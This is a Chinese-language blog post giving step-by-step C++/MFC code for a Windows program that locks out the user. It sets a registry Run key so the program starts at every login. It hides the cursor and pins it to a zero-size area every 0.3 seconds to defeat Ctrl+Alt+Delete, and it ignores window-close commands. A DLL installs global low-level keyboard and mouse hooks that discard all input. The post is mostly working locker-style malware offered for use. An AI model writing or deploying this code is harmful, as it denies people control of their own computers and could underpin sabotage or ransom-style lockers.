当前位置:网站首页>编写一个彻底拦截用户操作的程序
编写一个彻底拦截用户操作的程序
2022-07-21 05:13:00 【爱编程的叶一笑】
首先,我们得要有持久性,自启动是一个不错的选择,这里提供了一个自启动的函数。
void autostart()
{
HKEY hKey;
string strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
//1、找到系统的启动项
if (RegOpenKeyExA(HKEY_CURRENT_USER, strRegPath.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) ///打开启动项
{
//2、得到本程序自身的全路径
TCHAR strExeFullDir[MAX_PATH];
GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
//3、判断注册表项是否已经存在
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegGetValueA(hKey, nullptr, "GISRestart", RRF_RT_REG_SZ, 0, strDir, &nLength);
//4、已经存在
if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
{
//5、添加一个子Key,并设置值,"GISRestart"是应用程序名字(不加后缀.exe)
RegSetValueExA(hKey, "GISRestart", 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1)*sizeof(TCHAR));
//6、关闭注册表
RegCloseKey(hKey);
}
}
}
接着就是开始拦截,还需要一个全局变量
CRect rect1;
SetCursorPos(0,0);//设定鼠标位置
ShowCursor(SW_HIDE);//隐藏鼠标
SetTimer(1, 300, NULL);
GetWindowRect(&rect1);
rect1.bottom = 0;//构造限制区域
rect1.right = 0;
rect1.left = 0;
rect1.top = 0;
ClipCursor(rect1);//限制鼠标在系统的(0,0,0,0)范围内
LoadLibraryA("lanjie.dll");//加载钩子DLL
autostart();//自启动
为了进一步加强效果,在鼠标移动消息中做处理,注意事先捕捉鼠标。
void CXXXDlg::OnMouseMove(UINT nFlags, CPoint point)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
ClipCursor(rect1);
CDialogEx::OnMouseMove(nFlags, point);
}
考虑到ctrl+alt+delete可以取消ClipCursor,那么我们使用定时器,每0.3秒重新ClipCursor。
void CXXXDlg::OnTimer(UINT_PTR nIDEvent)
{
ShowWindow(SW_HIDE);
SetCursorPos(0, 0);
ClipCursor(rect1);
}
以防万一,如果拦截键盘失败,那么至少以下代码可以防止用户直接关闭窗口
void CXXXDlg::OnIdcancel()
{
// TODO: 在此添加命令处理程序代码
}
void CXXXDlg::OnIdok()
{
// TODO: 在此添加命令处理程序代码
}
void CXXXDlg::OnIdyes()
{
// TODO: 在此添加命令处理程序代码
}
void CXXXDlg::OnIdno()
{
// TODO: 在此添加命令处理程序代码
}
接着就是拦截键盘,这里使用消息钩子实现。
以下是DLL代码,写了注释,就不在正文中解释了。
// lanjie.cpp : 定义 DLL 应用程序的导出函数。
//
#include "stdafx.h"
HHOOK g_hook = NULL;
HINSTANCE g_Inst = NULL;
HHOOK g_hook1 = NULL;
//HINSTANCE g_Inst1 = NULL;
LRESULT CALLBACK LowLevelKeyboardProc1(int nCode, WPARAM wParam, LPARAM lParam)
{//键盘钩子
if (nCode < 0)
{
return CallNextHookEx(g_hook1, nCode, wParam, lParam);
}
if (HC_ACTION == nCode)//如果有键盘按键值
{
return TRUE;//拦截钩子
}
return CallNextHookEx(g_hook, nCode, wParam, lParam);//否则继续传递钩子
}
BOOL SetHookOn1()
{
if (g_hook1 != NULL)
{
return FALSE;
}
g_hook1 = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc1, g_Inst, NULL);//创建键盘钩子
if (NULL == g_hook1)
{
return FALSE;
}
return TRUE;
}
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{//鼠标钩子的回调函数
if (nCode < 0)
{
return CallNextHookEx(g_hook, nCode, wParam, lParam);//消息出错,继续传递钩子
}
return TRUE;//拦截操作
}
BOOL SetHookOn()
{
if (g_hook != NULL)
{
return FALSE;
}
g_hook = SetWindowsHookEx(WH_MOUSE_LL, MouseProc, g_Inst, NULL);//创建钩子
if (NULL == g_hook)
{
MessageBoxA(NULL, "安装钩子错误!", "error", MB_ICONSTOP);
return FALSE;
}
return TRUE;
}
BOOL APIENTRY DllMain(HANDLE hMouble, DWORD u1_reason_for_call, LPVOID lpReserved)
{
g_Inst = (HINSTANCE)hMouble;//记录模块句柄
SetHookOn();//挂鼠标钩子
SetHookOn1();//挂键盘钩子
return TRUE;
}
边栏推荐
- 分享 | ISO 26262 + FMEA Concepts+Polarion Template
- The solution to pychart's failure in installing numpy
- 智能设备强势来袭,让我们的生活更加自动化
- nmn产品真的有其效果吗,服用几个月nmn后有哪些效果
- linear algebra
- 实例刨析,沉浸式掌握Matter重要概念
- Raspberry pie 4B sound sensor do module
- Blender recipes for building an open domain Chatbot
- ARMv8 Cortex-a 编程向导手册学习_2
- Nimble Bluetooth development I: overview of ble Bluetooth host specification
猜你喜欢
Armv8 cortex-a programming wizard manual learning_ four
仪器仪表控制板开发面临着哪些机遇和挑战?
树莓派 4B 三声音传感器AO模块连接与高精度时间输出
检测设备开发的作用及应用的行业有哪些?
ARMv8 Cortex-a 编程向导手册学习_3
[reprint] conversation action set definition cued standard dialogue acts
物联网给企业的发展带来了哪些影响?
Matter协议特性解析(三) 设备发现,认证和配网
实例刨析,沉浸式掌握Matter重要概念
Raspberry pie 4B new machine system configuration and computer connection operation
随机推荐
带您了解无线充电技术的现状和未来发展趋势
Polarion舍与得——主机厂与供应商的ASPICE博弈
G了,眼看就过年了,突然被领导安排了个新任务
Natural Supervised Hashing
Literature Reading Records masked generative distillation
这五款特别的蓝牙芯,哪款最合你应用
Weakly-supervised Online Hashing
详解麦克风阵列的原理、分类及作用
ROS source switching (ROS sources other than Tsinghua)
Raspberry pie 4B sound sensor do module
ARM v7 内核笔记-通用定时器和相关协处理器
二叉树的遍历用递归实现
Nimble Bluetooth development II: API usage document
Traversal of binary tree is realized by recursion
ARM的工作模式以及寄存器组织(回顾复习)
超级详细-NMOS、PMOS的工作原理及相关内容整理(下)
Armv8 cortex-a programming wizard manual learning_ four
nimble 蓝牙开发三:nimble BLE 应用介绍
【半导体先进工艺制程技术系列】SOI技术(上)
树莓派4B 文件传输